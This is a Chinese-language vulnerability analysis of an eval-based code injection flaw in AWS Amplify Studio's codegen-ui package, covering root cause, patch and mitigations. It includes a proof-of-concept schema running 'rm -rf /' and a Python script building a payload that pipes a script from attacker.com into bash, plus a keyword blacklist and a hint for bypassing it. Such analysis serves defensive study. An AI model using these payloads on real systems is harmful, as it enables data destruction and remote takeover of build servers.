
1 簡介與漏洞概述
CVE-2025-4318 是 AWS Amplify Studio 的 UI 生成框架中的一個
重大安全漏洞
,具體影響
@aws-amplify/codegen-ui
套件(版本 ≤2.20.2)。此漏洞允許具有元件修改權限的
已認證攻擊者
在元件繪制或建置過程中執行任意 JavaScript 程式碼。該漏洞的 CVSS v4 分數為 9.5(嚴重),其根源在於 UI 元件結構描述中對 JavaScript 表達式的錯誤處理。AWS Amplify Studio 是一個
低程式碼開發環境
,可透過拖放介面視覺化生成 React 元件。其架構依賴於 JSON-based 的元件結構描述,其中動態屬性(例如標籤、佔位符)被定義為 JavaScript 表達式。這些表達式使用不安全的方法如
eval()
進行動態評估,從而導致命令注入。

漏洞指標
CVE ID | 受影響套件 | 易受攻擊版本 | 修補版本 | CVSS 分數 |
---|---|---|---|---|
CVE-2025-4318 | @aws-amplify/codegen-ui | ≤2.20.2 | 2.20.3 | 9.5 (Critical) |
2 技術根本原因分析
2.1 表達式綁定機制
該漏洞存在於 Amplify Studio 的
表達式綁定功能
中,該功能處理儲存在元件 JSON 結構描述中的 JavaScript 表達式。當開發者定義動態屬性(例如
{ "value": "user.firstName" }
)時,這些表達式會在以下情況下被評估(Evaluated):
- 在 Amplify Studio 中進行元件預覽繪制
- 透過 AWS CLI 進行本地程式碼生成
- CI/CD 管線建置
2.2 有漏洞的程式碼流程
修補前版本(≤2.20.2)使用了未經輸入清理或沙箱化的
不安全動態評估(unsafe dynamic evaluation)
方法。核心問題存在於
evaluateExpression.ts
中:
- // 有漏洞的的評估邏輯 (v2.20.2)
- export function evaluateExpression(expression: string): any {
- return eval(expression); // ⚠️ 直接使用未受信任輸入進行 eval
- }
此實現允許任意字串輸入在 Node.js 執行時期作為
Native JavaScript
執行。攻擊者可透過元件屬性(例如
placeholder.value
)注入惡意表達式(Malicious expressions)。
2.3 攻擊向量機制
利用此漏洞的惡意元件結構描述如下所示:
- {
- "componentType": "TextField",
- "properties": {
- "placeholder": {
- "value": "require('child_process').execSync('rm -rf / || touch /tmp/rce-success')"
- }
- }
- }
當 Amplify 的程式碼生成管線處理時:
- 解析 JSON 結構描述並提取屬性值
-
evaluateExpression()
將placeholder.value
字串直接傳遞給eval()
- Node.js 以 完整系統權限 執行嵌入的命令
3 利用場景與概念驗證
3.1 攻擊前提條件
- 認證 :擁有 Amplify Studio 存取權的合法 AWS 帳戶
-
權限
:允許
amplify:CreateComponent
或amplify:UpdateComponent
的 IAM 策略 -
進入點
:
- Amplify Studio 網頁介面
-
使用 ≤2.20.2 版本的
amplify-codegen-ui
的 AWS CLI - 使用有漏洞的程式碼生成版本的 CI/CD 管線
3.2 概念驗證攻擊程式碼
以下 Python 腳本生成用於遠端程式碼執行的惡意元件結構描述:
- import json
- payload = """
- require('child_process').execSync('curl https://attacker.com/shell.sh | bash')
- """
- component = {
- "componentType": "Button",
- "name": "ExploitComponent",
- "properties": {
- "label": { "value": "Free Gift!" },
- "onClick": { "value": payload } // 使用者互動觸發 RCE
- }
- }
- with open('MaliciousComponent.json', 'w') as f:
- json.dump(component, f)
利用流程 :
[攻擊者] 1. 製作惡意 JSON → 2. 透過 Amplify Studio 上傳 → [受害者系統] 3. 程式碼生成評估元件 → 4. eval() 執行 payload → 5. 建立反向 shell
3.3 影響分析
成功利用此漏洞可實現:
-
任意命令執行
:透過 Node.js 的
child_process
模組完全控制建置伺服器 - 敏感資料竊取 :從 CI/CD 系統竊取 AWS 認證、原始碼或環境機密
- 供應鏈危害 :在生成的前端程式碼中注入後門
- 持久化機制 :安裝加密貨幣挖礦程式或勒索軟體 payload
4 修補分析與緩解策略
4.1 AWS 修補實現
2.20.3 版引入了具有安全控制的 沙箱化評估器 :
- // 修補後邏輯 (v2.20.3+)
- import { safeEval } from './sandbox';
- export function evaluateExpression(expression: string): any {
- return safeEval(expression); // 沙箱化執行
- }
- // sandbox.ts
- export function safeEval(expr: string): any {
- if (!isValidExpression(expr)) {
- throw new Error("Unsafe expression detected.");
- }
- return Function('"use strict"; return (' + expr + ')')();
- }
- function isValidExpression(expr: string): boolean {
- const blacklist = ['require', 'process', 'child_process', 'global', 'Function', 'eval'];
- return !blacklist.some(word => expr.includes(word)); // 關鍵字封鎖
- }
關鍵安全增強 :
- 環境隔離 :表達式在嚴格模式 JavaScript 環境中執行
-
危險 API 黑名單
:阻止存取 Node.js 模組如
child_process
- 輸入驗證 :拒絕包含禁止關鍵字的表達式
4.2 修補限制
雖然修補有效防止遠端程式碼執行,但仍有限制:
-
黑名單繞過風險
:Unicode 混淆(例如
\u0072\u0065\u0071\u0075\u0069\u0072\u0065
表示 "require") -
拒絕服務
:惡意表達式可能導致評估器 Crash(例如
while(true){}
) -
資料竊取
:允許的 API 如
fetch()
可能洩漏敏感資料
4.3 全面緩解框架
層次 | 行動 | 實施指引 |
---|---|---|
程式碼 | 升級至 ≥2.20.3 |
npm update @aws-amplify/codegen-ui
|
IAM | 最小權限原則 |
限制
amplify:ModifyComponent
僅限必要人員
|
監控 | CloudTrail 分析 |
對來自異常 IP 的
CreateComponent
/
UpdateComponent
發出警報
|
CI/CD | 結構描述完整性檢查 |
建置前掃描可疑表達式(例如
child_process
、
fs
)
|
網路 | 建置系統隔離 | 在無網際網路存取的專用 VPC 中執行 Amplify 建置 |
5 低程式碼平台的安全最佳實務
5.1 安全的表達式處理
-
避免動態評估
:以宣告式表達式引擎取代
eval()
模式 -
強沙箱化
:使用具有逾時和記憶體限制的 VM 模組(例如
vm2
) - 白名單 :僅允許安全操作(例如數學、字串方法),而非黑名單
5.2 架構建議
- 元件簽署 :使用 AWS Signer 對結構描述進行數位簽署以防止篡改
- 建置場隔離 :在無持久儲存的臨時容器中執行程式碼生成
- 執行時期保護 :整合 AWS Inspector 在建置期間進行異常檢測
5.3 雲原生開發的經驗教訓
CVE-2025-4318 展示了 低程式碼抽象層 的系統性風險:
- 信任邊界混淆 :將使用者生成的結構描述視為可信任程式碼
- 過度權限的 IAM :過多的元件編輯權限導致橫向移動
- 不安全預設值 :早期版本缺乏沙箱化
6 結論
CVE-2025-4318 展示了 視覺化開發工具 在動態評估使用者輸入時引入的重大安全挑戰。AWS 在披露後 24 小時內發布的快速修補凸顯了其嚴重性,但漏洞窗口使數千個專案暴露於遠端程式碼執行風險。此案例研究強調了雲端開發的三大必要條件:
- 對使用者輸入零信任 :將所有使用者提供的結構描述視為不可信任程式碼
- 深度防禦 :結合 IAM 控制、網路分割和行為監控
- 安全設計工具 :低程式碼平台必須將沙箱化作為核心功能
未來研究應探索修補版本中的 沙箱逃逸技術 以及 Amplify 建置管線中的 自動化攻擊檢測 。隨著低程式碼採用的加速,雲端提供商和企業必須優先考慮抽象層的安全性,這已成為不可妥協的要求。
參考資料
- AWS Security Bulletin. (2025). CVE-2025-4318 - Input validation issue in AWS Amplify Studio
- SecureLayer7. (2025). CVE-2025-4318: RCE in AWS Amplify Studio via Unsafe Property Expression Evaluation
- GBHackers. (2025). Critical RCE Vulnerability in AWS Amplify Studio – PoC Now Public
- CyberPress. (2025). Critical AWS Amplify Studio Vulnerability Enables Remote Code Execution
- CybersecurityNews. (2025). Critical AWS Amplify Studio Vulnerability Let Attackers Execute Arbitrary Code
- AWS Documentation. (2025). Security in Amplify